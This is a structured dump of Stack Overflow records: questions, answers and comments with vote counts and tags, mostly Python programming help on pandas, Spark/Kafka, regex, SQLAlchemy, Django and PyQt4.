has body: I would like to use Spark Streaming and connect it with Kafka. However I still get NoSuchMethodError: org.apache.kafka.clients.consumer.KafkaConsumer.subscribe error and now I just do not know what to do next. My setup: Ubuntu 16.04 Scala 2.11 Kafka 2.11-1.0.0 (I have also tried to use 2.11-0.10.0.0) Spark 2.2.1 Hadoop 2.9.0 I cannot even run the example script: from pyspark.sql import SparkSession, Row, SQLContext from pyspark import SparkContext, SparkConf from pyspark.streaming import StreamingContext from pyspark.streaming.kafka import KafkaUtils from pyspark.sql.types import * sparkSession = SparkSession.builder.appName("example-pyspark-read-and-write").getOrCreate() # Subscribe to 1 topic df = sparkSession\ .readStream\ .format("kafka")\ .option("kafka.bootstrap.servers", "localhost:9092")\ .option("kafka.partition.assignment.strategy", "range") \ .option("subscribe", "test")\ .option("startingOffsets", "earliest")\ .load() query = df.writeStream\ .format("console")\ .start() query.awaitTermination() I run it on Spark using spark-submit --master local[2] --jars /home/some_path/spark-sql-kafka-0-10_2.11-2.2.1.jar spark_streaming_kafka_example.py And I get an error Exception in thread "stream execution thread for [id = 38ee73d5-4f20-41d0-ac89-a29c3f3255d1, runId = dadfc8ab-8e4c-464f-b4ef-495426aafc88]" java.lang.NoSuchMethodError: org.apache.kafka.clients.consumer.KafkaConsumer.subscribe(Ljava/util/Collection;)V at org.apache.spark.sql.kafka010.SubscribeStrategy.createConsumer(ConsumerStrategy.scala:63) at org.apache.spark.sql.kafka010.KafkaOffsetReader.createConsumer(KafkaOffsetReader.scala:297) at org.apache.spark.sql.kafka010.KafkaOffsetReader.&lt;init&gt;(KafkaOffsetReader.scala:78) at org.apache.spark.sql.kafka010.KafkaSourceProvider.createSource(KafkaSourceProvider.scala:88) at org.apache.spark.sql.execution.datasources.DataSource.createSource(DataSource.scala:244) at org.apache.spark.sql.execution.streaming.StreamExecution$$anonfun$2$$anonfun$applyOrElse$…
has answer: http://stackoverflow.com/a/50374064
upvote count: 3

http://stackoverflow.com/comment/84384140
has text: Possible duplicate of [How to use pip with Python 3.x alongside Python 2.x](https://stackoverflow.com/questions/11268501/how-to-use-pip-with-python-3-x-alongside-python-2-x)
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48692857

http://stackoverflow.com/comment/84429298
comment on: http://stackoverflow.com/q/48714608
type: Comment
type: QuestionComment
has text: http://cv-tricks.com/tensorflow-tutorial/save-restore-tensorflow-models-quick-complete-tutorial/
score: 0

http://stackoverflow.com/a/48664292
has comment: http://stackoverflow.com/comment/84326348
score: 5
has comment: http://stackoverflow.com/comment/84326113
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84326481
accepted answer of: http://stackoverflow.com/q/48664248
answers question: http://stackoverflow.com/q/48664248
type: Answer
upvote count: 5
has body: You need: df = pd.DataFrame({'Country': ['United-States', 'Canada', 'Slovakia']}) print(df) Country 0 United-States 1 Canada 2 Slovakia df['Country'] = np.where(df['Country'] == 'United-States', 'US', 'Non-US') Or: df['Country'] = np.where(df['Country'] != 'United-States', 'Non-US', 'US') Another solution: df['Country'] = df['Country'].map({'United-States':'US'}).fillna('Non-US') print (df) Country 0 US 1 Non-US 2 Non-US

http://stackoverflow.com/q/48655704
has comment: http://stackoverflow.com/comment/84309326
has comment: http://stackoverflow.com/comment/84310135
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48655728
has comment: http://stackoverflow.com/comment/84309449
accepted answer: http://stackoverflow.com/a/48655728
has comment: http://stackoverflow.com/comment/84309396
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/48655872
tagged with: nameerror
upvote count: 1
has comment: http://stackoverflow.com/comment/84309379
has body: I'm getting this strange error on python: I define a name (in this case, last), but it says that wasn't defined yet. Code: name = input("Insert name here: \n") list = list(name) last = list[len(list)-1] ### here is when it's defined print("--\n") while not len(list) == 1: if last == " ": ### here is when it's first required del(last) print(("".join(list))) del(last) print(("".join(list))) Error response: Traceback (most recent call last): File "C:/Users/ocari/OneDrive/Documents/Python things/Decompor.py", line 9, in &lt;module&gt; if last == " ": NameError: name 'last' is not defined How could I solve it? (Btw, if I exchange the name 'last' for its desired definition (currently 'list[len(list)-1]') in each line it's required, then the code works. That proves the problem is not its definition, but somehow another kind of issue)
favorite count: 0
has comment: http://stackoverflow.com/comment/84310534
downvote count: 5
score: -4
has title: NameError: name 'last' is not defined (though it's actually defined)
has comment: http://stackoverflow.com/comment/84309565
tagged with: python
possible better answer: http://stackoverflow.com/a/48655872

http://stackoverflow.com/q/48716658
has comment: http://stackoverflow.com/comment/84432640
answer count: 2
has comment: http://stackoverflow.com/comment/84432710
has comment: http://stackoverflow.com/comment/84432627
has comment: http://stackoverflow.com/comment/84432872
has title: How to run printed code Python
has comment: http://stackoverflow.com/comment/84432723
has comment: http://stackoverflow.com/comment/84432671
has body: I am trying to create a function that runs printed code. For example, def test(mylist): mydict = {} for i in range(mylist): mydict[i] = ('x'+'%s' %i) print ("%s = %s" %(mydict[i], i)) test(3) Output: x0 = 0 x1 = 1 x2 = 2 I basically want my function to run these printed commands and set x0=0, x1=1, and so on. I could not think of a way to do it. Thanks! Edit: I edited the code based on your dictionary idea. But, it does not still seem to be helping to solve for the gradient of a given function. Can you please help me on this? import sympy as sy def test(mylist): d = {} for i in range(mylist): d['x'+str(i)] = 'sy.symbols(x%s, real=True)' %i return d test(3) f = (1/3*x0**6 - 2.1*x0**4 + 4*x0**2 + x0*x1 - 4*x1**2 + 4*x1**4 + x2) gf = [sy.diff(f, x0), sy.diff(f, x1), sy.diff(f, x2)] gf
has comment: http://stackoverflow.com/comment/84433024
has answer: http://stackoverflow.com/a/48716860
linked to: http://stackoverflow.com/q/9383740
has answer: http://stackoverflow.com/a/48716688
has comment: http://stackoverflow.com/comment/84432655
has comment: http://stackoverflow.com/comment/84432650
type: UnansweredQuestion
tagged with: python
score: 0
has comment: http://stackoverflow.com/comment/84432916
has comment: http://stackoverflow.com/comment/84432715
has comment: http://stackoverflow.com/comment/84432725
type: Question

http://stackoverflow.com/comment/84561978
type: QuestionComment
has text: How do you know that the nohup commands have not been started and already completed?
comment on: http://stackoverflow.com/q/48766188
score: 0
type: Comment

http://stackoverflow.com/comment/84537757
has text: @Farhan.K you're right. code is so confusing.
type: QuestionComment
comment on: http://stackoverflow.com/q/48768332
score: 2
type: Comment

http://stackoverflow.com/a/48813934
answers question: http://stackoverflow.com/q/48788748
has body: bool will be useful when you want to access the data from the queryset at later point of time. SQL query that will be executed in if some_queryset: will be of the type SELECT #column_names# FROM #table_name# ... along with some other conditions depending on your queryset. While SQL query that will be executed in if some_queryset.exists(): will be of the format SELECT (1) FROM #table_name# ... LIMIT 1 In this SELECT (1) ... returns a column of 1's for every row in the table and LIMIT will restrict the lookup to one entry only. This change in query will have mainly two advantages: Lesser time in query execution Very less data to be transferred over the network
type: Answer
score: 1
upvote count: 1
downvote count: 0

http://stackoverflow.com/comment/84461198
has text: That's the way to go. I suspected the negative lookahead to be a dirty hack for this. Thank you!
score: 3
type: AnswerComment
comment on: http://stackoverflow.com/a/48730645
type: Comment

http://stackoverflow.com/q/48701235
possible better answer: http://stackoverflow.com/a/48701418
has answer: http://stackoverflow.com/a/48701418
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84400989
favorite count: 0
has answer: http://stackoverflow.com/a/48701383
tagged with: python-3.x
type: Question
upvote count: 2
answer count: 2
has comment: http://stackoverflow.com/comment/84401264
has comment: http://stackoverflow.com/comment/84401163
tagged with: python
has title: Why "os.sep" is faster than "os.path.join()"?
linked to: http://stackoverflow.com/q/4664306
has body: I usually use "os.path.join()" when I connect path,I rarely use "os.sep". But I found "os.sep" is faster than "os.path.join()".Why? My test code: import os import time a = 'E:\\video' b = 'image' c = '0001.jpg' start = time.clock() d = os.path.join(a,b,c) end = time.clock() print("%f " % (end - start)) #0.000011 print(d) #E:\video\image\0001.jpg start = time.clock() e = a+os.sep+b+os.sep+c end = time.clock() print("%f " % (end - start)) #0.000001 print(e) #E:\video\image\0001.jpg Result:
accepted answer: http://stackoverflow.com/a/48701383
has comment: http://stackoverflow.com/comment/84401250
has comment: http://stackoverflow.com/comment/84400923
downvote count: 0

http://stackoverflow.com/q/48686994
has body: I am trying to cross compile a Python application with cython and cython_freeze. Host is UBUNTU 17.04 x64. target is Raspberry Pi UBUNTU MATE 16.04 (gnueabihf). The compilation works, but at runtime, when ctypes is imported in the application, an ImportError occurs: Traceback (most recent call last): File "cttest.py", line 1, in init cttest File "/usr/local/lib/python3.6/ctypes/__init__.py", line 7, in &lt;module&gt; from _ctypes import Union, Structure, Array ImportError: /usr/local/lib/python3.6/lib-dynload/_ctypes.cpython-36m-armlinux-gnueabihf.so: undefined symbol: _PyUnicode_AsWideCharString What' wrong? (If do the compilation on the target, everything works). Compile: python3.6 cython_freeze -o ctmain.c cttest arm-linux-gnueabihf-gcc -pthread -fPIC -O2 -Wall -Wextra -fno-strict-aliasing -fwrapv -I/root/eabi-chroot/usr/local/include/python3.6m -c -o ctmain.o ctmain.c python3.6 -m cython cttest arm-linux-gnueabihf-gcc -pthread -fPIC -O2 -Wall -Wextra -fno-strict-aliasing -fwrapv -I/root/eabi-chroot/usr/local/include/python3.6m -c -o cttest.o cttest.c arm-linux-gnueabihf-gcc -Xlinker -export-dynamic -L/root/eabi-chroot/usr/local/lib/python3.6/config-3.6m-arm-linux-gnueabihf ctmain.o cttest.o -lpython3.6m -lm -lpthread -ldl -lutil -o ctmain Python File (cttest.py): import ctypes def main(): print("OK") if __name__=="__main__": main() NB: The actual environment is far more complicated (and the ctypes imports are are in various 3rd party libraries). Excerpt of cross compiled loader debug output: 4154: symbol=_PyUnicode_AsWideCharString; lookup in file=./ctmain [0] 4154: symbol=_PyUnicode_AsWideCharString; lookup in file=/usr/lib/arm-linux-gnueabihf/libarmmem.so [0] 4154: symbol=_PyUnicode_AsWideCharString; lookup in file=/lib/arm-linux-gnueabihf/libm.so.6 [0] 4154: symbol=_PyUnicode_AsWideCharString; lookup in file=/lib/arm-linux-gnueabihf/libpthread.so.0 [0] 4154: symbol=_PyUnicode_AsWideCharString; lookup in file=/lib/arm-linux-gnueabihf/libdl.so.2 [0] 4154: symbo…
has comment: http://stackoverflow.com/comment/84376412
has comment: http://stackoverflow.com/comment/84376514
has comment: http://stackoverflow.com/comment/84376929
type: UnansweredQuestion
tagged with: cross-compiling
has comment: http://stackoverflow.com/comment/84380802
tagged with: python
answer count: 0
score: 0
has comment: http://stackoverflow.com/comment/84381960
has comment: http://stackoverflow.com/comment/84382578
tagged with: cython
type: Question
has title: Cython_freeze with crosscompile produces ctypes import error

http://stackoverflow.com/tag/2048
type: Tag
tag name: 2048
tags question: http://stackoverflow.com/q/48739320

http://stackoverflow.com/q/48729363
type: Question
tagged with: pandas
downvote count: 0
answer count: 1
has title: How to fetch a dataframe with the most frequent value?
has answer: http://stackoverflow.com/a/48729424
favorite count: 0
tagged with: python
type: AnsweredQuestion
has body: Pandas dataframe: Player_name Age Calender_Year Runs Sid 21 2016 800 Harsh 22 2016 900 Sid 22 2017 850 Ravi 20 2017 910 Sumit 20 2016 760 Sumit 21 2017 690 Raj 19 2016 1100 Sid 20 2015 550 Raj 20 2017 770 I am looking to get result based on Player_name which is repeated the most number of times. Output should be as below (in dataframe format): Player_name Age Calender_Year Runs Sid 21 2016 800 Sid 22 2017 850 Sid 20 2015 550 Can anyone help me solve this problem.
score: 1
accepted answer: http://stackoverflow.com/a/48729424
upvote count: 1

http://stackoverflow.com/comment/84433667
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48717023
has text: sorry. I have updated my question.can you help again?
score: 0

http://stackoverflow.com/a/49039655
upvote count: 2
score: 1
downvote count: 1
answers question: http://stackoverflow.com/q/48745169
has body: [i[0] for i in sorted(x.__reversed__(), key=lambda x: x[1])[:n]] Almost exactly the same as @Stacksonstacks answer, just that this actually gives you the 'desired output' (if you put n = 5)
type: Answer

http://stackoverflow.com/a/48654825
has comment: http://stackoverflow.com/comment/84310356
has body: Because your dropdown is a CSS dropdown, not a HTML native dropdown(which purly composed by select and option tag), Even your dropdown also includes select and option tag, but they are invisble(you can find display: none; in its style attribute), so your dropdown is no way be controled by the invisible select and option tag. To operate CSS dropdown, you can't use the Select class which is only suite for native dropdown, you have to operate as you did manually: Click it to expand all options -> Click on option // There are two similar dropdown, only one visible dropdown_wrapper = driver .find_element_by_xpath("//div[@class='page_dm'][not(contains(@style, 'none'))]"); // click wrapper to expand options to display dropdown_wrapper .find_element_by_css_selector("p.SelectBox").click() // find out all options options = dropdown_wrapper .find_elements_by_css_selector("ul.options &gt; li") for index in range(1, len(options)): print(index) // click option options[index].click() // find all options again to avoid StaleElementReferenceException // because each page number change, the page content changed options = dropdown_wrapper .find_elements_by_css_selector("ul.options &gt; li")
answers question: http://stackoverflow.com/q/48653978
type: AcceptedAnswer
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/48653978

http://stackoverflow.com/comment/84466872
type: AnswerComment
comment on: http://stackoverflow.com/a/48733680
score: 0
has text: Thanks for the quick responses all. Solution above worked. @dm295 why would using flasks' jsonify be better than json.dumps()?
type: Comment

http://stackoverflow.com/comment/84585788
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48791743
has text: Are you comfortable depending on tools that shipped with git to do the parsing and interpretation for you?

http://stackoverflow.com/q/48787749
downvote count: 0
answer count: 1
tagged with: manifest
has title: Extract "permissions" from Manifest by Python
has answer: http://stackoverflow.com/a/48788023
accepted answer: http://stackoverflow.com/a/48788023
tagged with: printing
has comment: http://stackoverflow.com/comment/84577723
has comment: http://stackoverflow.com/comment/84578407
tagged with: android
has body: I want to print the "permissions" from a Android Manifest file. I have already reverse engineered the apk and got the Android Manifest file and want to extract the permissions by using Python. import string test=string.printable f=open('AndroidManifest.xml', 'r').read() x="" for n in f: if n in test: x+=n print (x) This is my Python Script by which I can parse the XML file. How can I find the permissions and print it. Can anyone help me with this?
has comment: http://stackoverflow.com/comment/84578280
tagged with: permissions
favorite count: 0
has comment: http://stackoverflow.com/comment/84577196
has comment: http://stackoverflow.com/comment/84577581
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84577622
type: AnsweredQuestion
score: 1
type: Question
has comment: http://stackoverflow.com/comment/84578675

http://stackoverflow.com/comment/84544254
has text: You could just split with this `(?m)(?!\A)(?=^\d+\.\d)` and you're done.
comment on: http://stackoverflow.com/q/48770528
score: 0
type: Comment
type: QuestionComment

encoding
tags question: http://stackoverflow.com/q/48769227
type: Tag
tags question: http://stackoverflow.com/q/48766390
tags question: http://stackoverflow.com/q/48670780
tag name: encoding
tags question: http://stackoverflow.com/q/48797523
tags question: http://stackoverflow.com/q/48677520
tags question: http://stackoverflow.com/q/48743106
tags question: http://stackoverflow.com/q/48649613
tags question: http://stackoverflow.com/q/48666127

http://stackoverflow.com/q/48722960
downvote count: 0
has body: I'm trying to extract the names of firms from the text. I found out that firm's names starts with Capital letters and some of them contains ' and ' or ' de ' or ' &amp; ' or 'of' inside it. So I wrote the regular expression that catches them : (?:[A-Z]+[\w'-]*\s?(?:&amp;\s|and\s|de\s|of\s)?)+%? For example, from the sentence "The companys largest customer, Wal-Mart Stores, Inc. and its affiliated companies, accounted for approximately 25% of net sales during fiscal year 2009 and 24% during fiscal years 2008 and 2007." This regex matches out "The", "Wal-Mart Stores", "Inc" However, I am stuck with two problems. Problem 1: I found out that company's segment, product, division, category, sales names are also matched since It also begins with capitals. However, I don't want to extract those names along with companies names. Problem 2 : I don't want to get names which starts with S(s)ale(s) of/by/in or sold For example, ;;;;;In fiscal 2005, the Company derived approximately 21% ($4,782,852) of its consolidated revenues from continuing operations from direct transactions with Kmart Corporation. Sales of Computer products are important for us. However, Computer's Parts and Display Segment sale has been decreasing. According to my regex wrote above, it extracts ['In', "Company', 'Kmart Corporation', 'Sales of Computer', "Computer's Parts and Display Segment"] Since, I don't want to get 'Sales of Computer' and 'Computer's Parts and Display Segment' I tried to use negative look ahead / look behind Bellows are what I've been trying so far: I added negative look ahead ((?![Ss]egments?|[Pp]roducts?|programs?|[Dd]ivisions?|[Cc]ategor(?:y|ies)|[Ss]ales?)) (?:[A-Z]+[\w'-]\s?(?:&amp;\s|and\s|de\s|of\s)?)+(?![Ss]egments?|[Pp]roducts?|programs?|[Dd]ivisions?|[Cc]ategor(?:y|ies)|[Ss]ales?)* However, It still matches "Computer's Parts and Display Segment"...! negative look behind is even worse... I added (? at the beginning of my regex. However, It seems like negative look behind expres…
favorite count: 0
answer count: 0
has comment: http://stackoverflow.com/comment/84447294
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84445132
has title: regular expression negative lookahed
upvote count: 1
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/84444967
score: 1
tagged with: lookbehind
type: Question
has comment: http://stackoverflow.com/comment/84444860

http://stackoverflow.com/comment/84434596
type: Comment
score: 1
comment on: http://stackoverflow.com/q/48717740
has text: Sort of a duplicate, but `from .` (just the dot, not something like `from .models`) appears different enough that it warrants its own question.
type: QuestionComment

http://stackoverflow.com/a/48792654
has body: It'd be easier to get help if you would post code to generate your input data. But you probably want a GroupBy: df2 = df1.groupby('Email').sum()
has comment: http://stackoverflow.com/comment/84589036
upvote count: 1
answers question: http://stackoverflow.com/q/48792405
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84589831

http://stackoverflow.com/comment/84487711
comment on: http://stackoverflow.com/q/48743823
has text: So literally just write I want to extend the elements in a list of lists?
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/84528563
type: Comment
type: QuestionComment
has text: Concerning the question, I do not understand what you mean by "throw away a point". I don't think anything is thrown away, but of course some cells on the grid are not relevant for certain levels. I think in general, the algorithm can be imagined like a snake wriggling from some start point along the level in question.
score: 0
comment on: http://stackoverflow.com/q/48762672

http://stackoverflow.com/q/48646912
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84291273
tagged with: selenium
tagged with: web-scraping
type: Question
has comment: http://stackoverflow.com/comment/84293471
has title: Triggering Webscraping script remotely
score: 0
tagged with: python
tagged with: splinter
answer count: 0
has body: I have a python webscraping script using splinter that I want to be able to trigger on a remote machine. I was wondering if there is a way to accomplish this without having to setup the Java Selenium Server. I have verified that the script runs without issue on the host when triggered locally. from splinter import Browser import time browser = Browser('firefox', profile=r'C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0r9gezm5.default') browser.visit('https://confluence.com') browser.find_by_id('login-link').click() browser.fill('os_username', 'user') browser.fill('os_password', 'pass') browser.find_by_name('login').click() with open ("C:\Webscraping\Download List\Contacts.txt") as sheet: for website in sheet: browser.visit(website) browser.find_by_id('action-menu-link').click() browser.find_by_id('action-export-pdf-link').click() When trying to trigger script remotely via command line I get the following error: Traceback (most recent call last): File "\\host\c$\Webscraping\Scripts\Contacts.py", line 6, in &lt;module&gt; browser = Browser('firefox', profile=r'C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0r9gezm5.default') File "C:\Anaconda2\lib\site-packages\splinter\browser.py", line 63, in Browser return driver(*args, **kwargs) File "C:\Anaconda2\lib\site-packages\splinter\driver\webdriver\firefox.py", line 57, in __init__ timeout=timeout, **kwargs) File "C:\Anaconda2\lib\site-packages\selenium\webdriver\firefox\webdriver.py", line 158, in __init__ keep_alive=True) File "C:\Anaconda2\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 154, in __init__ self.start_session(desired_capabilities, browser_profile) File "C:\Anaconda2\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 243, in start_session response = self.execute(Command.NEW_SESSION, parameters) File "C:\Anaconda2\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 312, in execute self.error_handler.check_response(response) File "C:\Anaconda2\lib\site…

http://stackoverflow.com/comment/122579881
type: AnswerComment
comment on: http://stackoverflow.com/a/48964897
score: 0
has text: Please add the code changes to the post itself. If GitHub goes down your delete that repo then this answer loses value otherwise.
type: Comment

http://stackoverflow.com/q/48796813
possible better answer: http://stackoverflow.com/a/48829615
has answer: http://stackoverflow.com/a/48829615
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/48829061
downvote count: 0
tagged with: terminology
upvote count: 8
has body: When using Pycharm, It often points out an error, saying: Unresolved reference 'name'. This inspection detects names that should resolve but don't. Due to dynamic dispatch and duck typing, this is possible in a limited but useful number of cases. Top-level and class-level items are supported better than instance items. I've snooped around about this, but most questions and information I find is about preventing the message from being shown. what I want to know is: What is dynamic dispatch/duck typing? What are (or an example of) these "useful number of cases"?
has title: What is dynamic dispatch and duck typing?
score: 8
favorite count: 0
tagged with: pycharm
accepted answer: http://stackoverflow.com/a/48829061
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/q/48791186
has answer: http://stackoverflow.com/a/48792215
type: Question
score: 0
answer count: 1
tagged with: python
has title: Empty download file from django view
tagged with: view
tagged with: download
has body: I am using django 1.11.2 and I want to have view with downloadable file. After click on link the file is downloading but file is empty and instead of png, I recieved empty txt file. def download_file(request, uuid): response = HttpResponse(content_type='application/force-download') response['Content-Disposition'] = 'attachment; filename=%s' % smart_str(models.DownloadLink.objects.get(uuid=uuid).download_file.file) response['Content-Length'] = 'http://{}{}'.format(Site.objects.get_current(), models.DownloadLink.objects.get(uuid=uuid).download_file.file.url) return response EDIT: value here response['Content-Length'] is http://127.0.0.1:8000/media/filer_public/49/54/4954a7bb-8ad3-4679-9248-bffc7d186ca8/photo-105221.jpeg
type: UnansweredQuestion
tagged with: file
tagged with: django

http://stackoverflow.com/comment/84423852
score: 0
type: Comment
type: QuestionComment
has text: corrected that , @JoshLee this is not what it should be with : P C1 NODE ?
comment on: http://stackoverflow.com/q/48712181

http://stackoverflow.com/comment/84310135
has text: @Flowey: That’s strange. `list[-1]` and `list[len(list)-1]` should be exactly the same.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48655704

http://stackoverflow.com/a/48777196
upvote count: 6
type: Answer
downvote count: 0
score: 6
has comment: http://stackoverflow.com/comment/84556087
answers question: http://stackoverflow.com/q/48777154
has body: You can probably just use df.itertuples for whatever you are doing: In [5]: df Out[5]: c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 0 8.0 2.0 1.0 4.0 4.0 3.0 1.0 19.0 5.0 9.0 1 7.0 7.0 0.0 4.0 14.0 7.0 9.0 0.0 0.0 9.0 2 19.0 10.0 6.0 13.0 12.0 11.0 8.0 4.0 11.0 13.0 3 14.0 0.0 16.0 19.0 3.0 8.0 8.0 9.0 17.0 13.0 4 18.0 16.0 10.0 8.0 15.0 9.0 18.0 9.0 5.0 10.0 5 15.0 7.0 16.0 3.0 18.0 14.0 3.0 6.0 0.0 9.0 6 14.0 14.0 18.0 4.0 4.0 0.0 8.0 15.0 8.0 12.0 7 19.0 16.0 15.0 16.0 1.0 12.0 14.0 1.0 10.0 15.0 8 8.0 17.0 10.0 18.0 7.0 13.0 13.0 12.0 6.0 11.0 9 15.0 13.0 13.0 17.0 2.0 0.0 6.0 10.0 5.0 5.0 In [6]: rows = df.itertuples(name='Row') In [7]: r0 = next(rows) In [8]: r0 Out[8]: Row(Index=0, c0=8.0, c1=2.0, c2=1.0, c3=4.0, c4=4.0, c5=3.0, c6=1.0, c7=19.0, c8=5.0, c9=9.0) In [9]: r0.c0 Out[9]: 8.0 Otherwise, you'll have to do it yourself, something like: In [10]: from collections import namedtuple In [11]: df.columns Out[11]: Index(['c0', 'c1', 'c2', 'c3', 'c4', 'c5', 'c6', 'c7', 'c8', 'c9'], dtype='object') In [12]: Row = namedtuple('Row', df.columns) In [13]: df.iloc[0] Out[13]: c0 8.0 c1 2.0 c2 1.0 c3 4.0 c4 4.0 c5 3.0 c6 1.0 c7 19.0 c8 5.0 c9 9.0 Name: 0, dtype: float64 In [14]: Row(*df.iloc[0]) Out[14]: Row(c0=8.0, c1=2.0, c2=1.0, c3=4.0, c4=4.0, c5=3.0, c6=1.0, c7=19.0, c8=5.0, c9=9.0) Note, this version doesn't have an index field...
has comment: http://stackoverflow.com/comment/84556095

http://stackoverflow.com/q/48741451
has comment: http://stackoverflow.com/comment/84521007
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84621169
has title: phrase highlight QEditText PyQt4 Python3
has comment: http://stackoverflow.com/comment/84623806
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
has body: I am creating a GUI application in python 3.4 using PyQt4 GUI-tool & NLTK. Here below i am explaining what task i have to perform in my application and what part i have completed: Goal: 1) User will create category and provide very large text to save into database 2) based on uploaded text, user will search phrases( group of words). Phrases can occur on multiple line. 3) matched phrases list will be maintain according to lines where they found on document. 4) When user will select matched phrase line, cursor should move to that matched phrase line and highlight that phrase. Completed: 1) I can upload documents and search phrase based on matched line. 2) and highlight in QEditText text box Issue: 1) I am not able to highlight phrase. It only highlights single word from phrase Code provided below what i have perform to highlight phrase: import sys from PyQt4 import QtGui from PyQt4 import QtCore import string # list view class from view_matched_phrases_ui import Ui_ViewList from PyDB import DatabaseHandle class ViewList(QtGui.QMainWindow): def __init__(self, parent=None): super(ViewList, self).__init__(parent) self.list = Ui_ViewList() self.list.setupUi(self) def show_list(self, phrases): # self.list.phrase_text_view.setText(" Hello Sahadev") # cursor = self.list.phrase_line_view.setCursor() # cursor.movePosition(QtGui.QTextCursor.Start) # self.list.phrase_text_view.setTextCursor(curson) ids = phrases[1]['pid'] with DatabaseHandle() as db: for id in ids: sql = "SELECT document FROM contracts WHERE id="+str(id) data = db.get_single_data(sql) phrase_data = str.maketrans({key: None for key in string.punctuation}) new_s = data[0].translate(phrase_data).lower() for line in new_s.splitlines(): if phrases[0].replace('_', ' ') in line: self.list.phrase_line_view.addItem(line) # set selected contract in QTextEdit self.list.phrase_text_view.setPlainText(new_s) # self.list.phrase_text_view cursor = self.list.phrase_text_view.textCursor() # setup match format = QtGui.QTextCharFor…
type: Question
tagged with: nltk
tagged with: pyqt4
has comment: http://stackoverflow.com/comment/84623141
has answer: http://stackoverflow.com/a/48809986

http://stackoverflow.com/a/48717127
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48703314
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/48703314
score: 1
downvote count: 0
has body: This you can achieve by using marshmellow lib which will give you facility to read the query params inside your get request .Below is sample implementation for your request from marshmallow import Schema, fields class ReviewRequestFormat(Schema): start_date=fields.Str(required=True) end_date=fields.Str(required=True) id=fields.Str(required=True) class Review(Resource): @use_kwargs(ReviewRequestFormat) def get(self, **kwargs): id=kwargs.get('id') data = [] if id: review_info = db.reviews.find_one({'_id': id}) if review_info: return jsonify(review_info) else: return {"response": "no review found for {}".format(id)} your routes will be like below class Index(Resource): def get(self): return redirect(url_for("reviews")) api = Api(app) api.add_resource(Review, "/api/reviews/", endpoint="id") for more documentation on marshmallow you can refer -https://marshmallow.readthedocs.io/en/latest/

http://stackoverflow.com/q/48742736
downvote count: 0
favorite count: 0
upvote count: 25
tagged with: python
has answer: http://stackoverflow.com/a/48851490
has answer: http://stackoverflow.com/a/65207649
answer count: 4
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/8014781
tagged with: mysql
tagged with: sqlalchemy
type: Question
has answer: http://stackoverflow.com/a/68180907
has body: I've recently changed my project to use SQLAlchemy and my project runs fine, it used an external MySQL server. Now I'm trying to work with a different MySQL server with SSL CA, and it doesn't connect. (It did connect using MySQL Workbench, so the certificate should be fine) I'm using the following code: ssl_args = {'ssl': {'ca': ca_path}} engine = create_engine("mysql+pymysql://&lt;user&gt;:&lt;pass&gt;@&lt;addr&gt;/&lt;schema&gt;", connect_args=ssl_args) and I get the following error: Can't connect to MySQL server on '\addr\' ([WinError 10054] An existing connection was forcibly closed by the remote host) Any suggestions?
possible better answer: http://stackoverflow.com/a/52833448
accepted answer: http://stackoverflow.com/a/48851490
has answer: http://stackoverflow.com/a/52833448
has title: Using SSL with SQLAlchemy
score: 25

http://stackoverflow.com/comment/97461129
type: QuestionComment
has text: Thank you - but the issue has absolutely nothing to do with TF. I'm not sure why you thought it has anything to do with TF.
comment on: http://stackoverflow.com/q/48750199
score: 0
type: Comment

http://stackoverflow.com/q/48676461
has comment: http://stackoverflow.com/comment/84351885
score: 4
linked to: http://stackoverflow.com/q/509211
favorite count: 0
linked to: http://stackoverflow.com/q/30305069
linked to: http://stackoverflow.com/q/48698167
tagged with: pandas
has answer: http://stackoverflow.com/a/48692193
accepted answer: http://stackoverflow.com/a/48692193
has comment: http://stackoverflow.com/comment/84352124
upvote count: 4
has comment: http://stackoverflow.com/comment/84351696
has comment: http://stackoverflow.com/comment/84351661
has comment: http://stackoverflow.com/comment/84351610
tagged with: python
has comment: http://stackoverflow.com/comment/84352032
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/48465407
downvote count: 0
has comment: http://stackoverflow.com/comment/84352146
